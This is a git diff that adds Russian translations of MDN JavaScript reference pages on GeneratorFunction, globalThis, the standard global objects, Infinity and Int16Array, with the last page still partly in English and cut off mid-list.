+<h2 id="GeneratorFunction_instances"><code>GeneratorFunction</code> instances</h2>
+
+<p><code>GeneratorFunction</code> instances inherit methods and properties from {{jsxref("GeneratorFunction.prototype")}}. As with all constructors, you can change the constructor's prototype object to make changes to all <code>GeneratorFunction</code> instances.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Creating_a_generator_function_from_a_GeneratorFunction_constructor">Creating a generator function from a <code>GeneratorFunction</code> constructor</h3>
+
+<pre class="brush: js">var GeneratorFunction = Object.getPrototypeOf(function*(){}).constructor
+var g = new GeneratorFunction('a', 'yield a * 2');
+var iterator = g(10);
+console.log(iterator.next().value); // 20
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generatorfunction-objects', 'GeneratorFunction')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generatorfunction-objects', 'GeneratorFunction')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.GeneratorFunction")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function*", "function* function")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Global_Objects/Function", "Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope", "", 1)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/generatorfunction/prototype/index.html b/files/ru/web/javascript/reference/global_objects/generatorfunction/prototype/index.html
new file mode 100644
index 0000000000..c451547ad0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/generatorfunction/prototype/index.html
@@ -0,0 +1,58 @@
+---
+title: GeneratorFunction.prototype
+slug: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
+---
+<div>{{JSRef}}</div>
+
+<p>Свойство <code><strong>GeneratorFunction.prototype</strong></code> представляет собой прототип объекта {{jsxref("GeneratorFunction")}} .</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Объект {{jsxref("GeneratorFunction")}} наследуется из <code>GeneratorFunction.prototype</code>. <code>GeneratorFunction.prototype</code> не может быть изменён.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code><strong>GeneratorFunction.constructor</strong></code></dt>
+ <dd>Изначальное значение {{jsxref("GeneratorFunction")}}.</dd>
+ <dt><code><strong>GeneratorFunction.prototype.prototype</strong></code></dt>
+ <dd>Значение <code>%GeneratorPrototype%</code>.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.GeneratorFunction.prototype")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/globalthis/index.html b/files/ru/web/javascript/reference/global_objects/globalthis/index.html
new file mode 100644
index 0000000000..ce4cb48419
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/globalthis/index.html
@@ -0,0 +1,88 @@
+---
+title: globalThis
+slug: Web/JavaScript/Reference/Global_Objects/globalThis
+tags:
+  - JavaScript
+  - Reference
+  - global
+  - globalThis
+  - this
+translation_of: Web/JavaScript/Reference/Global_Objects/globalThis
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>Глобальное свойство <code><strong>globalThis</strong></code> содержит значение глобального <code>this</code>, который является глобальным объектом.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-globalthis.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">globalThis
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Исторически, для доступа к глобальному объекту использовался разный синтаксис в разных средах JavaScript. В вебе вы могли использовать {{domxref("Window.window", "window")}}, {{domxref("Window.self", "self")}} или {{domxref("Window.frames", "frames")}}, но в <a href="/ru/docs/Web/API/Worker">Worker </a>можно использовать только <code>self</code>. В Node.js ничего из этого не работает, поэтому вы должны использовать <code>global</code>.</p>
+
+<p>Ключевое слово <code>this</code> можно использовать внутри функций в нестрогом режиме. Но в строгом режиме внутри функций и в Модулях <code>this</code> равняется <code>undefined</code>. Вы можете использовать <code>Function('return this')()</code>, но среды, которые отключают {{jsxref("eval", "eval()")}}, такие как {{Glossary('CSP')}} в браузерах, препятствуют использованию {{jsxref("Function")}} таким способом.</p>
+
+<p>Свойство <code>globalThis</code> даёт возможность стандартного доступа к глобальному значению <code>this</code> (и как следствие, к глобальному объекту) вне зависимости от окружения. В отличии от похожих свойств, таких как <code>window</code> и <code>self</code>, оно гарантирует работу как в среде, где есть <code>window</code>, так и в среде, где его нет. Таким образом вы можете получить доступ к глобальному объекту даже не зная в какой среде будет запущен код. Чтобы помочь запомнить название, просто запомните, что глобальное значение <code>this</code> равно <code>globalThis</code>.</p>
+
+<h3 id="HTML_и_WindowProxy">HTML и WindowProxy</h3>
+
+<p>Во многих движках <code>globalThis</code> будет ссылкой на фактический глобальный объект, но в веб-браузерах из-за соображений безопасности iframe и cross-window он ссылается на {{jsxref ("Proxy")}} вокруг фактического глобального объекта (который вы не можете получить прямым доступом). Это различие редко актуально в обычном использовании, но его важно знать.</p>
+
+<h3 id="Название">Название</h3>
+
+<p>Некоторые другие популярные имена, такие как <code>self</code> и <code>global</code> были исключены из рассмотрения из-за того, что они могут нарушать совместимость с существующим кодом. Смотрите <a href="https://github.com/tc39/proposal-global/blob/master/NAMING.md">документ по планированию именования</a> для большей информации.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>До <code>globalThis</code> единственным кросс-платформенным путём получения глобального объекта в любой среде было <code>Function('return this')()</code>. Однако, это нарушает <a href="/ru/docs/Web/HTTP/CSP">CSP</a> в некоторых случаях. Например, <a href="https://github.com/paulmillr/es6-shim">es6-shim</a> делает такую проверку:</p>
+
+<pre class="brush: js">var getGlobal = function () {
+  if (typeof self !== 'undefined') { return self; }
+  if (typeof window !== 'undefined') { return window; }
+  if (typeof global !== 'undefined') { return global; }
+  throw new Error('unable to locate global object');
+};
+
+var globals = getGlobal();
+
+if (typeof globals.setTimeout !== 'function') {
+  // в данном окружении не существует setTimeout!
+}
+</pre>
+
+<p>С <code>globalThis</code> дополнительный поиск глобального объекта в разных средах больше не нужен:</p>
+
+<pre class="brush: js">if (typeof globalThis.setTimeout !== 'function') {
+// в данном окружении не существует setTimeout!
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("ESDraft", "#sec-globalthis", "globalThis")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.globalThis")}}</p>
+
+<h3 id="Прогресс_реализации">Прогресс реализации</h3>
+
+<p>В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция еще не достигла стабильности в разных браузерах. Данные генерируются путем запуска соответствующих тестов функциональности в <a href="https://github.com/tc39/test262">Test262</a>, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.</p>
+
+<p>{{EmbedTest262ReportResultsTable("globalThis")}}</p>
diff --git a/files/ru/web/javascript/reference/global_objects/index.html b/files/ru/web/javascript/reference/global_objects/index.html
new file mode 100644
index 0000000000..b464ca01b5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/index.html
@@ -0,0 +1,166 @@
+---
+title: Стандартные встроенные объекты
+slug: Web/JavaScript/Reference/Global_Objects
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Эта глава описывает все стандартные встроенные объекты JavaScript, вместе с их методами и свойствами.</p>
+
+<div class="onlyinclude">
+<p>Термин «глобальные объекты» (или стандартные встроенные объекты) здесь не следует путать с самим <em>глобальным объектом</em>. Далее в главе под этим обозначением понимаются <em>объекты в глобальном пространстве имён</em> (но только, если не используется строгий режим ECMAScript 5! В противном случае они возвращают <code>undefined</code>). Сам же <em>глобальный объект</em> в глобальном пространстве имён доступен через оператор {{jsxref("Operators/this", "this")}}. На самом деле, глобальное пространство имён <em>состоит из</em> свойств глобального объекта (в том числе включая унаследованные свойства, если они есть).</p>
+
+<p>Другие объекты в глобальном пространстве имён <a href="/ru/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">создаются либо с помощью пользовательских скриптов</a>, либо предоставляются приложением хоста. Объекты хоста, доступные в контекстах браузера, задокументированы в <a href="/ru/docs/Web/API/Reference">справке по API</a>. Для получения дополнительной информации о различии между <a href="/ru/docs/DOM/DOM_Reference">DOM</a> и ядром <a href="/ru/docs/Web/JavaScript">JavaScript</a>, смотрите <a href="/ru/docs/Web/JavaScript/JavaScript_technologies_overview">обзор технологии JavaScript</a>.</p>
+
+<h2 id="Standard_objects_by_category" name="Standard_objects_(by_category)">Стандартные объекты (по категориям)</h2>
+
+<h3 id="Value_properties" name="Value_properties">Значения</h3>
+
+<p>Глобальные свойства, возвращающие простое значение.</p>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Infinity", "Infinity")}}</li>
+ <li>{{jsxref("Global_Objects/NaN", "NaN")}}</li>
+ <li>{{jsxref("Global_Objects/undefined", "undefined")}}</li>
+ <li>литерал {{jsxref("Global_Objects/null", "null")}}</li>
+</ul>
+
+<h3 id="Function_properties" name="Function_properties">Функции</h3>
+
+<p>Глобальные функции, возвращающие результат определённой подпрограммы.</p>
+
+<ul>
+ <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
+ <li>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
+ <li>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</li>
+ <li>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</li>
+</ul>
+
+<h3 id="Fundamental_objects" name="Fundamental_objects">Фундаментальные объекты</h3>
+
+<p>Общие языковые объекты, функции и ошибки.</p>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Object", "Object")}}</li>
+ <li>{{jsxref("Global_Objects/Function", "Function")}}</li>
+ <li>{{jsxref("Global_Objects/Boolean", "Boolean")}}</li>
+ <li>{{jsxref("Global_Objects/Symbol", "Symbol")}}</li>
+ <li>{{jsxref("Global_Objects/Error", "Error")}}</li>
+ <li>{{jsxref("Global_Objects/EvalError", "EvalError")}}</li>
+ <li>{{jsxref("Global_Objects/InternalError", "InternalError")}}</li>
+ <li>{{jsxref("Global_Objects/RangeError", "RangeError")}}</li>
+ <li>{{jsxref("Global_Objects/ReferenceError", "ReferenceError")}}</li>
+ <li>{{jsxref("Global_Objects/SyntaxError", "SyntaxError")}}</li>
+ <li>{{jsxref("Global_Objects/TypeError", "TypeError")}}</li>
+ <li>{{jsxref("Global_Objects/URIError", "URIError")}}</li>
+</ul>
+
+<h3 id="Numbers_and_dates" name="Numbers_and_dates">Числа и даты</h3>
+
+<p>Объекты, имеющие дело с числами, датами и математическими вычислениями.</p>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Number", "Number")}}</li>
+ <li>{{jsxref("Global_Objects/Math", "Math")}}</li>
+ <li>{{jsxref("Global_Objects/Date", "Date")}}</li>
+</ul>
+
+<h3 id="Text_processing" name="Text_processing">Обработка текста</h3>
+
+<p>Объекты для манипулирования текстом.</p>
+
+<ul>
+ <li>{{jsxref("Global_Objects/String", "String")}}</li>
+ <li>{{jsxref("Global_Objects/RegExp", "RegExp")}}</li>
+</ul>
+
+<h3 id="Indexed_collections" name="Indexed_collections">Индексированные коллекции</h3>
+
+<p>Коллекции, упорядоченные по индексам. Массивоподобные объекты.</p>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Array", "Array")}}</li>
+ <li>{{jsxref("Global_Objects/Int8Array", "Int8Array")}}</li>
+ <li>{{jsxref("Global_Objects/Uint8Array", "Uint8Array")}}</li>
+ <li>{{jsxref("Global_Objects/Uint8ClampedArray", "Uint8ClampedArray")}}</li>
+ <li>{{jsxref("Global_Objects/Int16Array", "Int16Array")}}</li>
+ <li>{{jsxref("Global_Objects/Uint16Array", "Uint16Array")}}</li>
+ <li>{{jsxref("Global_Objects/Int32Array", "Int32Array")}}</li>
+ <li>{{jsxref("Global_Objects/Uint32Array", "Uint32Array")}}</li>
+ <li>{{jsxref("Global_Objects/Float32Array", "Float32Array")}}</li>
+ <li>{{jsxref("Global_Objects/Float64Array", "Float64Array")}}</li>
+</ul>
+
+<h3 id="Keyed_collections" name="Keyed_collections">Коллекции по ключу</h3>
+
+<p>Коллекции объектов по ключу. Элементы обходятся в порядке вставки.</p>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Map", "Map")}}</li>
+ <li>{{jsxref("Global_Objects/Set", "Set")}}</li>
+ <li>{{jsxref("Global_Objects/WeakMap", "WeakMap")}}</li>
+ <li>{{jsxref("Global_Objects/WeakSet", "WeakSet")}}</li>
+</ul>
+
+<h3 id="Structured_data" name="Structured_data">Структурированные данные</h3>
+
+<p>Буферы данных и Объектная нотация JavaScript (<strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation).</p>
+
+<ul>
+ <li><code><a href="/ru/docs/JavaScript_typed_arrays/ArrayBuffer">ArrayBuffer</a></code></li>
+ <li><code><a href="/ru/docs/JavaScript_typed_arrays/DataView">DataView</a></code></li>
+ <li>{{jsxref("Global_Objects/JSON", "JSON")}}</li>
+</ul>
+
+<h3 id="Control_abstraction_objects" name="Control_abstraction_objects">Объекты управляющих абстракций</h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Promise", "Promise")}}</li>
+</ul>
+
+<h3 id="Reflection" name="Reflection">Рефлексия</h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Reflect", "Reflect")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Global_Objects/Proxy", "Proxy")}} {{experimental_inline}}</li>
+</ul>
+
+<h3 id="Internationalization" name="Internationalization">Интернационализация</h3>
+
+<p>Дополнения к ядру ECMAScript, отвечающие за функциональность, чувствительную к языку.</p>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Intl", "Intl")}}</li>
+ <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}}</li>
+</ul>
+
+<h3 id="Non-standard_objects" name="Non-standard_objects">Нестандартные объекты</h3>
+
+<ul>
+ <li>{{jsxref("Generator")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Iterator")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("ParallelArray")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("StopIteration")}} {{non-standard_inline}}</li>
+</ul>
+
+<h3 id="Other" name="Other">Прочее</h3>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments">Аргументы функции (<code>arguments</code>)</a></li>
+</ul>
+</div>
diff --git a/files/ru/web/javascript/reference/global_objects/infinity/index.html b/files/ru/web/javascript/reference/global_objects/infinity/index.html
new file mode 100644
index 0000000000..143576e6b7
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/infinity/index.html
@@ -0,0 +1,98 @@
+---
+title: Infinity
+slug: Web/JavaScript/Reference/Global_Objects/Infinity
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Infinity
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Глобальное свойство <code><strong>Infinity</strong></code> является числовым значением, представляющим бесконечность.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<div> </div>
+
+<p>{{EmbedInteractiveExample("pages/js/globalprops-infinity.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p><code>Infinity</code> является свойством <em>глобального объекта</em>, то есть, это переменная в глобальной области видимости.</p>
+
+<p>Начальным значением <code>Infinity</code> является {{jsxref("Number.POSITIVE_INFINITY")}}. Значение <code>Infinity</code> (положительная бесконечность) больше любого другого числа, включая саму положительную бесконечность. Это значение ведёт себя как математическая бесконечность; например, любое положительное число, умноженное на <code>Infinity</code> даёт <code>Infinity</code>, а любое число, делённое на <code>Infinity</code> даёт 0.</p>
+
+<p>В спецификации ECMAScript 5 <code>Infinity</code> является свойством только для чтения (реализована в JavaScript 1.8.5 / Firefox 4).</p>
+
+<p> </p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre><code>console.log(Infinity          ); /* Infinity */
+console.log(Infinity + 1      ); /* Infinity */
+console.log(Math.pow(10, 1000)); /* Infinity */
+console.log(Math.log(0)       ); /* -Infinity */
+console.log(1 / Infinity      ); /* 0 */</code></pre>
+
+<p> </p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.2', 'Infinity')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Infinity")}}</p>
+
+<p> </p>
+
+<div> </div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/int16array/index.html b/files/ru/web/javascript/reference/global_objects/int16array/index.html
new file mode 100644
index 0000000000..3178930fc7
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/int16array/index.html
@@ -0,0 +1,201 @@
+---
+title: Int16Array
+slug: Web/JavaScript/Reference/Global_Objects/Int16Array
+translation_of: Web/JavaScript/Reference/Global_Objects/Int16Array
+---
+<div>{{JSRef}}</div>
+
+<div> </div>
+
+<p>Объект <strong><code>Int16Array</code></strong> представляет типизированный массив 16-битных целых чисел со знаком с дополнением до двух с платформо-зависимым порядком байт. Если необходим контроль за порядком байт, то вместо этого объекта используйте {{jsxref("DataView")}}. Содержимое инициализируется значением <code>0</code>. Создав экземпляр <strong><code>Int16Array</code></strong>, можно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new Int16Array(); // new in ES2017
+new Int16Array(length);
+new Int16Array(typedArray);
+new Int16Array(object);
+new Int16Array(buffer [, byteOffset [, length]]);</pre>
+
+<p>For more information about the constructor syntax and the parameters, see <em><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Syntax">TypedArray</a></em>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int16Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Returns a number value of the element size. <code>2</code> in the case of an <code>Int16Array</code>.</dd>
+ <dt>Int16Array.length</dt>
+ <dd>Static length property whose value is 0. For the actual length (number of elements), see {{jsxref("TypedArray.prototype.length", "Int16Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Int16Array.name")}}</dt>
+ <dd>Returns the string value of the constructor name. In the case of the <code>Int16Array</code> type: "Int16Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Int16Array.prototype")}}</dt>
+ <dd>Prototype for the <em>TypedArray</em> objects.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Int16Array.from()")}}</dt>
+ <dd>Creates a new <code>Int16Array</code> from an array-like or iterable object. See also {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Int16Array.of()")}}</dt>
+ <dd>Creates a new <code>Int16Array</code> with a variable number of arguments. See also {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Int16Array_prototype"><code>Int16Array</code> prototype</h2>
+
+<p>All <code>Int16Array</code> objects inherit from {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Properties_2">Properties</h3>
+
+<dl>
+ <dt><code>Int16Array.prototype.constructor</code></dt>
+ <dd>Returns the function that created an instance's prototype. This is the <code>Int16Array</code> constructor by default.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Int16Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{jsxref("ArrayBuffer")}} referenced by the <code>Int16Array</code> Fixed at construction time and thus <strong>read only</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Int16Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Returns the length (in bytes) of the <code>Int16Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Int16Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Returns the offset (in bytes) of the <code>Int16Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Int16Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Returns the number of elements hold in the <code>Int16Array</code>. Fixed at construction time and thus <strong>read only.</strong></dd>
+</dl>
+
+<h3 id="Methods_2">Methods</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Int16Array.prototype.copyWithin()")}}</dt>
+ <dd>Copies a sequence of array elements within the array. See also {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Int16Array.prototype.entries()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the key/value pairs for each index in the array. See also {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Int16Array.prototype.every()")}}</dt>
+ <dd>Tests whether all elements in the array pass the test provided by a function. See also {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Int16Array.prototype.fill()")}}</dt>
+ <dd>Fills all the elements of an array from a start index to an end index with a static value. See also {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Int16Array.prototype.filter()")}}</dt>
+ <dd>Creates a new array with all of the elements of this array for which the provided filtering function returns true. See also {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Int16Array.prototype.find()")}}</dt>
+ <dd>Returns the found value in the array, if an element in the array satisfies the provided testing function or <code>undefined</code> if not found. See also {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Int16Array.prototype.findIndex()")}}</dt>
+ <dd>Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found. See also {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Int16Array.prototype.forEach()")}}</dt>
+ <dd>Calls a function for each element in the array. See also {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Int16Array.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether a typed array includes a certain element, returning <code>true</code> or <code>false</code> as appropriate. See also {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Int16Array.prototype.indexOf()")}}</dt>
+ <dd>Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Int16Array.prototype.join()")}}</dt>
+ <dd>Joins all elements of an array into a string. See also {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Int16Array.prototype.keys()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> that contains the keys for each index in the array. See also {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Int16Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Int16Array.prototype.map()")}}</dt>
+ <dd>Creates a new array with the results of calling a provided function on every element in this array. See also {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Int16Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Former non-standard version of {{jsxref("TypedArray.copyWithin", "Int16Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Int16Array.prototype.reduce()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Int16Array.prototype.reduceRight()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Int16Array.prototype.reverse()")}}</dt>
+ <dd>Reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. See also {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Int16Array.prototype.set()")}}</dt>
+ <dd>Stores multiple values in the typed array, reading input values from a specified array.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Int16Array.prototype.slice()")}}</dt>
+ <dd>Extracts a section of an array and returns a new array. See also {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Int16Array.prototype.some()")}}</dt>
+ <dd>Returns true if at least one element in this array satisfies the provided testing function. See also {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Int16Array.prototype.sort()")}}</dt>
+ <dd>Sorts the elements of an array in place and returns the array. See also {{jsxref("Array.prototype.sort()")}}.</dd>
